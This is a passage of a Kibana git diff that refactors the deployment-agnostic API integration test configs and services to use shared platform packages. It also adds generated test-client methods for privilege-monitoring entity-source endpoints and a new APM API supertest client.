'../../default_configs/serverless.config.base'; +import { createServerlessTestConfig } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/default_configs/serverless.config.base'; +import { services } from '../../services'; -export default createServerlessTestConfig({ +export default createServerlessTestConfig({ + services, serverlessProject: 'oblt', testFiles: [require.resolve('./oblt.apm.index.ts')], junit: { diff --git a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.index.ts b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.index.ts index c06b7f1331184..a849282459f28 100644 --- a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.index.ts +++ b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.index.ts @@ -10,19 +10,14 @@ export default function ({ loadTestFile }: DeploymentAgnosticFtrProviderContext) describe('Serverless Observability - Deployment-agnostic API integration tests', function () { this.tags(['esGate']); - // load new oblt and platform deployment-agnostic test here + // load new oblt deployment-agnostic test here // Note: if your tests runtime is over 5 minutes, create a new index and config file - loadTestFile(require.resolve('../../apis/console')); - loadTestFile(require.resolve('../../apis/core')); - loadTestFile(require.resolve('../../apis/management')); + loadTestFile(require.resolve('../../apis/observability/infra')); loadTestFile(require.resolve('../../apis/observability/alerting')); loadTestFile(require.resolve('../../apis/observability/dataset_quality')); - loadTestFile(require.resolve('../../apis/painless_lab')); - loadTestFile(require.resolve('../../apis/saved_objects_management')); loadTestFile(require.resolve('../../apis/observability/slo')); loadTestFile(require.resolve('../../apis/observability/onboarding')); loadTestFile(require.resolve('../../apis/observability/incident_management')); - loadTestFile(require.resolve('../../apis/intercepts')); }); } diff --git a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.serverless.config.ts b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.serverless.config.ts index 245663416243f..c0597cfddbbad 100644 --- a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.serverless.config.ts +++ b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.serverless.config.ts @@ -5,9 +5,11 @@ * 2.0. */ -import { createServerlessTestConfig } from '../../default_configs/serverless.config.base'; +import { createServerlessTestConfig } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/default_configs/serverless.config.base'; +import { services } from '../../services'; -export default createServerlessTestConfig({ +export default createServerlessTestConfig({ + services, serverlessProject: 'oblt', testFiles: [require.resolve('./oblt.index.ts')], junit: { diff --git a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.streams.serverless.config.ts b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.streams.serverless.config.ts index 0f69dc6090273..69fece9cfec49 100644 --- a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.streams.serverless.config.ts +++ b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.streams.serverless.config.ts @@ -5,9 +5,11 @@ * 2.0. */ -import { createServerlessTestConfig } from '../../default_configs/serverless.config.base'; +import { createServerlessTestConfig } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/default_configs/serverless.config.base'; +import { services } from '../../services'; -export default createServerlessTestConfig({ +export default createServerlessTestConfig({ + services, serverlessProject: 'oblt', testFiles: [require.resolve('./oblt.streams.index.ts')], junit: { diff --git a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.synthetics.serverless.config.ts b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.synthetics.serverless.config.ts index 30b9e5360dac7..43894536aa18f 100644 --- a/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.synthetics.serverless.config.ts +++ b/x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.synthetics.serverless.config.ts @@ -5,9 +5,11 @@ * 2.0. */ -import { createServerlessTestConfig } from '../../default_configs/serverless.config.base'; +import { createServerlessTestConfig } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/default_configs/serverless.config.base'; +import { services } from '../../services'; -export default createServerlessTestConfig({ +export default createServerlessTestConfig({ + services, serverlessProject: 'oblt', testFiles: [require.resolve('./oblt.synthetics.index.ts')], junit: { diff --git a/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.ai_assistant.stateful.config.ts b/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.ai_assistant.stateful.config.ts index 1b16814657094..15758b95ca69d 100644 --- a/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.ai_assistant.stateful.config.ts +++ b/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.ai_assistant.stateful.config.ts @@ -5,9 +5,11 @@ * 2.0. */ -import { createStatefulTestConfig } from '../../default_configs/stateful.config.base'; +import { createStatefulTestConfig } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/default_configs/stateful.config.base'; +import { services } from '../../services'; -export default createStatefulTestConfig({ +export default createStatefulTestConfig({ + services, testFiles: [require.resolve('./oblt.ai_assistant.index.ts')], junit: { reportName: 'Stateful Observability - Deployment-agnostic API Integration Tests', diff --git a/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.apm.stateful.config.ts b/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.apm.stateful.config.ts index e4eca8228aa18..fb4b833ef0440 100644 --- a/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.apm.stateful.config.ts +++ b/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.apm.stateful.config.ts @@ -5,9 +5,11 @@ * 2.0. */ -import { createStatefulTestConfig } from '../../default_configs/stateful.config.base'; +import { createStatefulTestConfig } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/default_configs/stateful.config.base'; +import { services } from '../../services'; -export default createStatefulTestConfig({ +export default createStatefulTestConfig({ + services, testFiles: [require.resolve('./oblt.apm.index.ts')], junit: { reportName: 'Stateful Observability - Deployment-agnostic APM API Integration Tests', diff --git a/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.stateful.config.ts b/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.stateful.config.ts index 7b3cf3a7f1818..14bd68e93ab7b 100644 --- a/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.stateful.config.ts +++ b/x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.stateful.config.ts @@ -5,9 +5,11 @@ * 2.0. */ -import { createStatefulTestConfig } from '../../default_configs/stateful.config.base'; +import { createStatefulTestConfig } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/default_configs/stateful.config.base'; +import { services } from '../../services'; -export default createStatefulTestConfig({ +export default createStatefulTestConfig({ + services, testFiles: [require.resolve('./oblt.index.ts')], junit: { reportName: 'Stateful Observability - Deployment-agnostic API Integration Tests', diff --git a/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/serverless/oblt.serverless.config.ts b/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/serverless/oblt.serverless.config.ts index f22739bc6d252..0ab78950e435f 100644 --- a/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/serverless/oblt.serverless.config.ts +++ b/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/serverless/oblt.serverless.config.ts @@ -5,9 +5,11 @@ * 2.0. */ -import { createServerlessFeatureFlagTestConfig } from '../../default_configs/feature_flag.serverless.config.base'; +import { createServerlessFeatureFlagTestConfig } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/default_configs/feature_flag.serverless.config.base'; +import { services } from '../../services'; -export default createServerlessFeatureFlagTestConfig({ +export default createServerlessFeatureFlagTestConfig({ + services, serverlessProject: 'oblt', kbnServerArgs: [ '--xpack.actions.preconfigured', diff --git a/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/stateful/oblt.stateful.config.ts b/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/stateful/oblt.stateful.config.ts index aee377e373c4a..36ff59316fe71 100644 --- a/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/stateful/oblt.stateful.config.ts +++ b/x-pack/test/api_integration/deployment_agnostic/feature_flag_configs/stateful/oblt.stateful.config.ts @@ -5,9 +5,11 @@ * 2.0. */ -import { createStatefulFeatureFlagTestConfig } from '../../default_configs/feature_flag.stateful.config.base'; +import { createStatefulFeatureFlagTestConfig } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/default_configs/feature_flag.stateful.config.base'; +import { services } from '../../services'; -export default createStatefulFeatureFlagTestConfig({ +export default createStatefulFeatureFlagTestConfig({ + services, testFiles: [require.resolve('./oblt.index.ts')], kbnServerArgs: ['--xpack.actions.preconfigured'], junit: { diff --git a/x-pack/test/api_integration/deployment_agnostic/services/data_view_api.ts b/x-pack/test/api_integration/deployment_agnostic/services/data_view_api.ts deleted file mode 100644 index 6f3c38b872f19..0000000000000 --- a/x-pack/test/api_integration/deployment_agnostic/services/data_view_api.ts +++ /dev/null @@ -1,79 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { RoleCredentials } from '@kbn/ftr-common-functional-services'; -import { DeploymentAgnosticFtrProviderContext } from '../ftr_provider_context'; - -export function DataViewApiProvider({ getService }: DeploymentAgnosticFtrProviderContext) { - const supertestWithoutAuth = getService('supertestWithoutAuth'); - const samlAuth = getService('samlAuth'); - - return { - async create({ - roleAuthc, - id, - name, - title, - spaceId, - data, - }: { - roleAuthc: RoleCredentials; - id: string; - name: string; - title: string; - spaceId?: string; - data?: Record; - }) { - const { body } = await supertestWithoutAuth - .post(`${spaceId ? '/s/' + spaceId : ''}/api/content_management/rpc/create`) - .set(roleAuthc.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .set(samlAuth.getCommonRequestHeader()) - .send({ - contentTypeId: 'index-pattern', - data: { - fieldAttrs: '{}', - title, - timeFieldName: '@timestamp', - sourceFilters: '[]', - fields: '[]', - fieldFormatMap: '{}', - typeMeta: '{}', - runtimeFieldMap: '{}', - name, - ...(data ? data : {}), - }, - options: { id }, - version: 1, - }); - return body; - }, - - async delete({ - roleAuthc, - id, - spaceId, - }: { - roleAuthc: RoleCredentials; - id: string; - spaceId?: string; - }) { - const { body } = await supertestWithoutAuth - .post(`${spaceId ? '/s/' + spaceId : ''}/api/content_management/rpc/delete`) - .set(roleAuthc.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .set(samlAuth.getCommonRequestHeader()) - .send({ - contentTypeId: 'index-pattern', - id, - options: { force: true }, - version: 1, - }); - return body; - }, - }; -} diff --git a/x-pack/test/api_integration/deployment_agnostic/services/index.ts b/x-pack/test/api_integration/deployment_agnostic/services/index.ts index c9050a523e966..f8467e5b38834 100644 --- a/x-pack/test/api_integration/deployment_agnostic/services/index.ts +++ b/x-pack/test/api_integration/deployment_agnostic/services/index.ts @@ -5,13 +5,9 @@ * 2.0. */ -import { commonFunctionalServices } from '@kbn/ftr-common-functional-services'; +import { services as platformDeploymentAgnosticServices } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services'; +import { SupertestWithRoleScope } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services/role_scoped_supertest'; import { AlertingApiProvider } from './alerting_api'; -import { DataViewApiProvider } from './data_view_api'; -import { deploymentAgnosticServices } from './deployment_agnostic_services'; -import { PackageApiProvider } from './package_api'; -import { RoleScopedSupertestProvider, SupertestWithRoleScope } from './role_scoped_supertest'; -import { CustomRoleScopedSupertestProvider } from './custom_role_scoped_supertest'; import { SloApiProvider } from './slo_api'; import { SynthtraceProvider } from './synthtrace'; import { ApmApiProvider } from './apm_api'; @@ -24,16 +20,10 @@ export type { } from '@kbn/ftr-common-functional-services'; export const services = { - ...deploymentAgnosticServices, - supertestWithoutAuth: commonFunctionalServices.supertestWithoutAuth, - samlAuth: commonFunctionalServices.samlAuth, + ...platformDeploymentAgnosticServices, + // create a new deployment-agnostic service and load here alertingApi: AlertingApiProvider, - dataViewApi: DataViewApiProvider, - packageApi: PackageApiProvider, sloApi: SloApiProvider, - roleScopedSupertest: RoleScopedSupertestProvider, - customRoleScopedSupertest: CustomRoleScopedSupertestProvider, - // create a new deployment-agnostic service and load here synthtrace: SynthtraceProvider, apmApi: ApmApiProvider, observabilityAIAssistantApi: ObservabilityAIAssistantApiProvider, diff --git a/x-pack/test/api_integration/deployment_agnostic/services/package_api.ts b/x-pack/test/api_integration/deployment_agnostic/services/package_api.ts deleted file mode 100644 index 4406147f6b756..0000000000000 --- a/x-pack/test/api_integration/deployment_agnostic/services/package_api.ts +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { RoleCredentials } from '@kbn/ftr-common-functional-services'; -import { DeploymentAgnosticFtrProviderContext } from '../ftr_provider_context'; - -export interface CustomIntegration { - integrationName: string; - datasets: IntegrationDataset[]; -} - -export interface IntegrationDataset { - name: string; - type: 'logs' | 'metrics' | 'synthetics' | 'traces'; -} - -export function PackageApiProvider({ getService }: DeploymentAgnosticFtrProviderContext) { - const samlAuth = getService('samlAuth'); - const supertestWithoutAuth = getService('supertestWithoutAuth'); - - return { - async installCustomIntegration({ - roleAuthc, - customIntegration, - }: { - roleAuthc: RoleCredentials; - customIntegration: CustomIntegration; - }) { - const { integrationName, datasets } = customIntegration; - - const { body } = await supertestWithoutAuth - .post(`/api/fleet/epm/custom_integrations`) - .set(roleAuthc.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .send({ integrationName, datasets }); - return body; - }, - async installPackage({ roleAuthc, pkg }: { roleAuthc: RoleCredentials; pkg: string }) { - const { - body: { - item: { latestVersion: version }, - }, - } = await supertestWithoutAuth - .get(`/api/fleet/epm/packages/${pkg}`) - .set(roleAuthc.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .send({ force: true }); - - const { body } = await supertestWithoutAuth - .post(`/api/fleet/epm/packages/${pkg}/${version}`) - .set(roleAuthc.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()) - .send({ force: true }); - return body; - }, - async uninstallPackage({ roleAuthc, pkg }: { roleAuthc: RoleCredentials; pkg: string }) { - const { body } = await supertestWithoutAuth - .delete(`/api/fleet/epm/packages/${pkg}`) - .set(roleAuthc.apiKeyHeader) - .set(samlAuth.getInternalRequestHeader()); - return body; - }, - }; -} diff --git a/x-pack/test/api_integration/services/security_solution_api.gen.ts b/x-pack/test/api_integration/services/security_solution_api.gen.ts index a4a714561d876..e1a60f3009cd4 100644 --- a/x-pack/test/api_integration/services/security_solution_api.gen.ts +++ b/x-pack/test/api_integration/services/security_solution_api.gen.ts @@ -27,6 +27,7 @@ import { ConfigureRiskEngineSavedObjectRequestBodyInput } from '@kbn/security-so import { CopyTimelineRequestBodyInput } from '@kbn/security-solution-plugin/common/api/timeline/copy_timeline/copy_timeline_route.gen'; import { CreateAlertsMigrationRequestBodyInput } from '@kbn/security-solution-plugin/common/api/detection_engine/signals_migration/create_signals_migration/create_signals_migration.gen'; import { CreateAssetCriticalityRecordRequestBodyInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/asset_criticality/create_asset_criticality.gen'; +import { CreateEntitySourceRequestBodyInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; import { CreatePrivilegesImportIndexRequestBodyInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/monitoring/create_index.gen'; import { CreatePrivMonUserRequestBodyInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/privilege_monitoring/users/create.gen'; import { CreateRuleRequestBodyInput } from '@kbn/security-solution-plugin/common/api/detection_engine/rule_management/crud/create_rule/create_rule_route.gen'; @@ -45,6 +46,7 @@ import { DeleteEntityEngineRequestQueryInput, DeleteEntityEngineRequestParamsInput, } from '@kbn/security-solution-plugin/common/api/entity_analytics/entity_store/engine/delete.gen'; +import { DeleteEntitySourceRequestParamsInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; import { DeleteNoteRequestBodyInput } from '@kbn/security-solution-plugin/common/api/timeline/delete_note/delete_note_route.gen'; import { DeletePrivMonUserRequestParamsInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/privilege_monitoring/users/delete.gen'; import { DeleteRuleRequestQueryInput } from '@kbn/security-solution-plugin/common/api/detection_engine/rule_management/crud/delete_rule/delete_rule_route.gen'; @@ -83,6 +85,7 @@ import { GetEndpointSuggestionsRequestBodyInput, } from '@kbn/security-solution-plugin/common/api/endpoint/suggestions/get_suggestions.gen'; import { GetEntityEngineRequestParamsInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/entity_store/engine/get.gen'; +import { GetEntitySourceRequestParamsInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; import { GetEntityStoreStatusRequestQueryInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/entity_store/status.gen'; import { GetNotesRequestQueryInput } from '@kbn/security-solution-plugin/common/api/timeline/get_notes/get_notes_route.gen'; import { GetPolicyResponseRequestQueryInput } from '@kbn/security-solution-plugin/common/api/endpoint/policy/policy_response.gen'; @@ -124,6 +127,7 @@ import { } from '@kbn/security-solution-plugin/common/siem_migrations/model/api/rules/rule_migration.gen'; import { InstallPrepackedTimelinesRequestBodyInput } from '@kbn/security-solution-plugin/common/api/timeline/install_prepackaged_timelines/install_prepackaged_timelines_route.gen'; import { ListEntitiesRequestQueryInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/entity_store/entities/list_entities.gen'; +import { ListEntitySourcesRequestQueryInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; import { ListPrivMonUsersRequestQueryInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/privilege_monitoring/users/list.gen'; import { PatchRuleRequestBodyInput } from '@kbn/security-solution-plugin/common/api/detection_engine/rule_management/crud/patch_rule/patch_rule_route.gen'; import { PatchTimelineRequestBodyInput } from '@kbn/security-solution-plugin/common/api/timeline/patch_timelines/patch_timeline_route.gen'; @@ -157,6 +161,10 @@ import { StopEntityEngineRequestParamsInput } from '@kbn/security-solution-plugi import { StopRuleMigrationRequestParamsInput } from '@kbn/security-solution-plugin/common/siem_migrations/model/api/rules/rule_migration.gen'; import { SuggestUserProfilesRequestQueryInput } from '@kbn/security-solution-plugin/common/api/detection_engine/users/suggest_user_profiles_route.gen'; import { TriggerRiskScoreCalculationRequestBodyInput } from '@kbn/security-solution-plugin/common/api/entity_analytics/risk_engine/entity_calculation_route.gen'; +import { + UpdateEntitySourceRequestParamsInput, + UpdateEntitySourceRequestBodyInput, +} from '@kbn/security-solution-plugin/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; import { UpdatePrivMonUserRequestParamsInput, UpdatePrivMonUserRequestBodyInput, @@ -333,6 +341,14 @@ If a record already exists for the specified entity, that record is overwritten .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') .send(props.body as object); }, + createEntitySource(props: CreateEntitySourceProps, kibanaSpace: string = 'default') { + return supertest + .post(routeWithNamespace('/api/entity_analytics/monitoring/entity_source', kibanaSpace)) + .set('kbn-xsrf', 'true') + .set(ELASTIC_HTTP_VERSION_HEADER, '1') + .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') + .send(props.body as object); + }, createPrivilegesImportIndex( props: CreatePrivilegesImportIndexProps, kibanaSpace: string = 'default' @@ -511,6 +527,18 @@ For detailed information on Kibana actions and alerting, and additional API call .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') .query(props.query); }, + deleteEntitySource(props: DeleteEntitySourceProps, kibanaSpace: string = 'default') { + return supertest + .delete( + routeWithNamespace( + replaceParams('/api/entity_analytics/monitoring/entity_source/{id}', props.params), + kibanaSpace + ) + ) + .set('kbn-xsrf', 'true') + .set(ELASTIC_HTTP_VERSION_HEADER, '1') + .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana'); + }, /** * Delete a note from a Timeline using the note ID. */ @@ -951,6 +979,18 @@ finalize it. .set(ELASTIC_HTTP_VERSION_HEADER, '2023-10-31') .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana'); }, + getEntitySource(props: GetEntitySourceProps, kibanaSpace: string = 'default') { + return supertest + .get( + routeWithNamespace( + replaceParams('/api/entity_analytics/monitoring/entity_source/{id}', props.params), + kibanaSpace + ) + ) + .set('kbn-xsrf', 'true') + .set(ELASTIC_HTTP_VERSION_HEADER, '1') + .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana'); + }, getEntityStoreStatus(props: GetEntityStoreStatusProps, kibanaSpace: string = 'default') { return supertest .get(routeWithNamespace('/api/entity_store/status', kibanaSpace)) @@ -1402,6 +1442,14 @@ providing you with the most current and effective threat detection capabilities. .set(ELASTIC_HTTP_VERSION_HEADER, '2023-10-31') .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana'); }, + listEntitySources(props: ListEntitySourcesProps, kibanaSpace: string = 'default') { + return supertest + .get(routeWithNamespace('/api/entity_analytics/monitoring/entity_source/list', kibanaSpace)) + .set('kbn-xsrf', 'true') + .set(ELASTIC_HTTP_VERSION_HEADER, '1') + .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') + .query(props.query); + }, listPrivMonUsers(props: ListPrivMonUsersProps, kibanaSpace: string = 'default') { return supertest .get(routeWithNamespace('/api/entity_analytics/monitoring/users/list', kibanaSpace)) @@ -1517,6 +1565,18 @@ The edit action is idempotent, meaning that if you add a tag to a rule that alre .set(ELASTIC_HTTP_VERSION_HEADER, '2023-10-31') .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana'); }, + /** + * Check if the current user has all required permissions for Privilege Monitoring + */ + privMonPrivileges(kibanaSpace: string = 'default') { + return supertest + .get( + routeWithNamespace('/api/entity_analytics/monitoring/privileges/privileges', kibanaSpace) + ) + .set('kbn-xsrf', 'true') + .set(ELASTIC_HTTP_VERSION_HEADER, '2023-10-31') + .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana'); + }, readAlertsIndex(kibanaSpace: string = 'default') { return supertest .get(routeWithNamespace('/api/detection_engine/index', kibanaSpace)) @@ -1791,6 +1851,19 @@ The difference between the `id` and `rule_id` is that the `id` is a unique rule .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') .send(props.body as object); }, + updateEntitySource(props: UpdateEntitySourceProps, kibanaSpace: string = 'default') { + return supertest + .put( + routeWithNamespace( + replaceParams('/api/entity_analytics/monitoring/entity_source/{id}', props.params), + kibanaSpace + ) + ) + .set('kbn-xsrf', 'true') + .set(ELASTIC_HTTP_VERSION_HEADER, '1') + .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') + .send(props.body as object); + }, updatePrivMonUser(props: UpdatePrivMonUserProps, kibanaSpace: string = 'default') { return supertest .put( @@ -1920,6 +1993,9 @@ export interface CreateAlertsMigrationProps { export interface CreateAssetCriticalityRecordProps { body: CreateAssetCriticalityRecordRequestBodyInput; } +export interface CreateEntitySourceProps { + body: CreateEntitySourceRequestBodyInput; +} export interface CreatePrivilegesImportIndexProps { body: CreatePrivilegesImportIndexRequestBodyInput; } @@ -1950,6 +2026,9 @@ export interface DeleteEntityEngineProps { query: DeleteEntityEngineRequestQueryInput; params: DeleteEntityEngineRequestParamsInput; } +export interface DeleteEntitySourceProps { + params: DeleteEntitySourceRequestParamsInput; +} export interface DeleteNoteProps { body: DeleteNoteRequestBodyInput; } @@ -2040,6 +2119,9 @@ export interface GetEndpointSuggestionsProps { export interface GetEntityEngineProps { params: GetEntityEngineRequestParamsInput; } +export interface GetEntitySourceProps { + params: GetEntitySourceRequestParamsInput; +} export interface GetEntityStoreStatusProps { query: GetEntityStoreStatusRequestQueryInput; } @@ -2115,6 +2197,9 @@ export interface InstallPrepackedTimelinesProps { export interface ListEntitiesProps { query: ListEntitiesRequestQueryInput; } +export interface ListEntitySourcesProps { + query: ListEntitySourcesRequestQueryInput; +} export interface ListPrivMonUsersProps { query: ListPrivMonUsersRequestQueryInput; } @@ -2190,6 +2275,10 @@ export interface SuggestUserProfilesProps { export interface TriggerRiskScoreCalculationProps { body: TriggerRiskScoreCalculationRequestBodyInput; } +export interface UpdateEntitySourceProps { + params: UpdateEntitySourceRequestParamsInput; + body: UpdateEntitySourceRequestBodyInput; +} export interface UpdatePrivMonUserProps { params: UpdatePrivMonUserRequestParamsInput; body: UpdatePrivMonUserRequestBodyInput; diff --git a/x-pack/test/api_integration/services/security_solution_endpoint_exceptions_api.gen.ts b/x-pack/test/api_integration/services/security_solution_endpoint_exceptions_api.gen.ts index d8c06801ab5b9..9827e48ad5a00 100644 --- a/x-pack/test/api_integration/services/security_solution_endpoint_exceptions_api.gen.ts +++ b/x-pack/test/api_integration/services/security_solution_endpoint_exceptions_api.gen.ts @@ -32,7 +32,7 @@ export function SecuritySolutionApiProvider({ getService }: FtrProviderContext) return { /** - * Create an endpoint exception list, which groups endpoint exception list items. If an endpoint exception list already exists, an empty response is returned. + * Create the exception list for Elastic Endpoint rule exceptions. When you create the exception list, it will have a `list_id` of `endpoint_list`. If the Elastic Endpoint exception list already exists, your request will return an empty response. */ createEndpointList(kibanaSpace: string = 'default') { return supertest @@ -42,7 +42,7 @@ export function SecuritySolutionApiProvider({ getService }: FtrProviderContext) .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana'); }, /** - * Create an endpoint exception list item, and associate it with the endpoint exception list. + * Create an Elastic Endpoint exception list item, and associate it with the Elastic Endpoint exception list. */ createEndpointListItem(props: CreateEndpointListItemProps, kibanaSpace: string = 'default') { return supertest @@ -53,7 +53,7 @@ export function SecuritySolutionApiProvider({ getService }: FtrProviderContext) .send(props.body as object); }, /** - * Delete an endpoint exception list item using the `id` or `item_id` field. + * Delete an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. */ deleteEndpointListItem(props: DeleteEndpointListItemProps, kibanaSpace: string = 'default') { return supertest @@ -64,7 +64,7 @@ export function SecuritySolutionApiProvider({ getService }: FtrProviderContext) .query(props.query); }, /** - * Get a list of all endpoint exception list items. + * Get a list of all Elastic Endpoint exception list items. */ findEndpointListItems(props: FindEndpointListItemsProps, kibanaSpace: string = 'default') { return supertest @@ -75,7 +75,7 @@ export function SecuritySolutionApiProvider({ getService }: FtrProviderContext) .query(props.query); }, /** - * Get the details of an endpoint exception list item using the `id` or `item_id` field. + * Get the details of an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. */ readEndpointListItem(props: ReadEndpointListItemProps, kibanaSpace: string = 'default') { return supertest @@ -86,7 +86,7 @@ export function SecuritySolutionApiProvider({ getService }: FtrProviderContext) .query(props.query); }, /** - * Update an endpoint exception list item using the `id` or `item_id` field. + * Update an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. */ updateEndpointListItem(props: UpdateEndpointListItemProps, kibanaSpace: string = 'default') { return supertest diff --git a/x-pack/test/apm_api_integration/common/apm_api_supertest.ts b/x-pack/test/apm_api_integration/common/apm_api_supertest.ts new file mode 100644 index 0000000000000..84b7f2bd978c7 --- /dev/null +++ b/x-pack/test/apm_api_integration/common/apm_api_supertest.ts @@ -0,0 +1,131 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { format } from 'url'; +import supertest from 'supertest'; +import request from 'superagent'; +import type { + APIReturnType, + APIClientRequestParamsOf, +} from '@kbn/apm-plugin/public/services/rest/create_call_apm_api'; +import type { APIEndpoint } from '@kbn/apm-plugin/server'; +import type { + APIEndpoint as SourcesAPIEndpoint, + APIReturnType as SourcesAPIReturnType, + APIClientRequestParamsOf as SourcesAPIClientRequestParamsOf, +} from '@kbn/apm-sources-access-plugin/server'; +import { formatRequest } from '@kbn/server-route-repository'; + +type CombinedAPIRequest = + TEndpoint extends APIEndpoint + ? APIReturnType + : TEndpoint extends SourcesAPIEndpoint + ? SourcesAPIReturnType + : never; + +type CombinedOptions = + TEndpoint extends APIEndpoint + ? Options + : TEndpoint extends SourcesAPIEndpoint + ? SourceOptions + : never; + +type Options = { + type?: 'form-data'; + endpoint: TEndpoint; + spaceId?: string; +} & APIClientRequestParamsOf & { + params?: { query?: { _inspect?: boolean } }; + }; + +type SourceOptions = { + type?: 'form-data'; + endpoint: TEndpoint; + spaceId?: string; +} & SourcesAPIClientRequestParamsOf; + +export function createApmApiClient(st: supertest.Agent) { + return async ( + options: CombinedOptions + ): Promise> => { + const { endpoint, type } = options; + + const params = 'params' in options ? (options.params as Record) : {}; + + const { method, pathname, version } = formatRequest(endpoint, params.path); + const pathnameWithSpaceId = options.spaceId ? `/s/${options.spaceId}${pathname}` : pathname; + const url = format({ pathname: pathnameWithSpaceId, query: params?.query }); + + // eslint-disable-next-line no-console + console.debug(`Calling APM API: ${method.toUpperCase()} ${url}`); + + const headers: Record = { + 'kbn-xsrf': 'foo', + 'x-elastic-internal-origin': 'foo', + }; + + if (version) { + headers['Elastic-Api-Version'] = version; + } + + let res: request.Response; + if (type === 'form-data') { + const fields: Array<[string, any]> = Object.entries(params.body); + const formDataRequest = st[method](url) + .set(headers) + .set('Content-type', 'multipart/form-data'); + + for (const field of fields) { + void formDataRequest.field(field[0], field[1]); + } + + res = await formDataRequest; + } else 